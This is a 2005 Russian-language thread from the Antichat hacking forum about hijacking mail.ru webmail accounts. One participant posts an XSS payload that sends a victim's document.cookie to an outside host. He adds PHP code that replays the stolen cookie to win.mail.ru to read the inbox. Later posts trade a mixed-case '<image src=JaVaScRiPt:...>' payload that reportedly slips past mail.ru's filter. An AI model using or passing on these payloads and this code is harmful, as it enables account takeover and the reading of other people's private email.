Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   E-Mail (https://forum.antichat.xyz/forumdisplay.php?f=14)
-   -   Передача cookies (https://forum.antichat.xyz/showthread.php?t=5635)

Майор 25.03.2005 00:53

Передача cookies
 
Вот встала у меня такая задача : имея куки допустим c mail.ru мне надо чтоб скрипт(php) передовал куки серверу и дальше лазил по ящику....
Подскажите возможнолт это реализовать ?

Майор 25.03.2005 11:48

мож хоть кто ссылочку даст на описания таких куков ...

LittleLamer 25.03.2005 12:53

Да, возможно. Нужно знать либо HTTP протокол, тогда fsockopen() и т.д. Либо юзать setcookie().
Мне более по душе первое :)

Майор 25.03.2005 17:51

Цитата:

Сообщение от LittleLamer
Да, возможно. Нужно знать либо HTTP протокол, тогда fsockopen() и т.д. Либо юзать setcookie().
Мне более по душе первое :)

Это хорошо, что можно :)
Приведи примерчик плиз!!!
ну например для того же майл ру передаём

Код:

mrcu=C3DC424333243DD60E4D0100007F
Mpopl=1187863386
MailUser=1


LittleLamer 25.03.2005 21:22

Например ты почил куки таким (или похожим) способом:
Код:

<img src="javascript:img=new Image();img.src='http://mysite.com/xxx.php?cooki='+escape(document.cookie)">
(для маила это конечно не работает, это для примера)
PHP код:

$cooki=$_GET["cooki"];
$req="GET /cgi-bin/msglist?folder=0 HTTP/1.0\r\nHost: win.mail.ru\r\nReferer: http://win.mai.ru/cgi-bin/msglist?folder=0\r\nCookie: ".$cooki."\r\n\r\n";
$f=fsockopen("win.mail.ru"80);
fwrite($f$req);
$dt="";
while (!
feof($f))
   
$dt.=fread($f1024);
fclose($f); 

Терь в $dt будет содержаться содержимое страницы /cgi-bin/msglist?folder=0 (это список последних писем в папке Входящие)

P.S.: за понятность написанного ответственность нести не хочу :cool:

LittleLamer 25.03.2005 21:24

И ещё. Ты в майле xss какой нить знаешь?

Майор 25.03.2005 23:18

Почти всё нонятно, токо есть несколько вопросов
1) Зачем здесь точки и два перевода строки Cookie: ".$cooki."\r\n\r\n";
2) И здесь зачем точка после $dt.=
Вроде по синтаксису можно без них... или я неправ ?

3) маил ру ща JaVaScRiPt пропускает

LittleLamer 26.03.2005 00:30

1) два перевода строки - это спецификация HTTP протокола и означает конец запроса
2)
Код:

$dt.=fread($f, 1024)
это в php означает увеличения строки $dt на прочитанное из сокета $f. Т.е. если точки не было бы, то в конце цикла в $dt хранилось бы не всё содержимое страницы, а только самая последняя часть
3)
Код:

<img src=JaVaScRiPt:alert()>
(JaVaScRiPt "дословно")
mail.ru это не пропускает, уточни плиз

Майор 26.03.2005 01:04

1) а здесть то зачем точки .$cooki. ?

2) тег img на mail.ru всегда фильтровался, а image нет

так вот работает :
<image src=JaVaScRiPt:alert()>
JaVaScRiPt - разными регистрами

LittleLamer 26.03.2005 02:46

точки - это в php строки складываются :)


Время: 12:32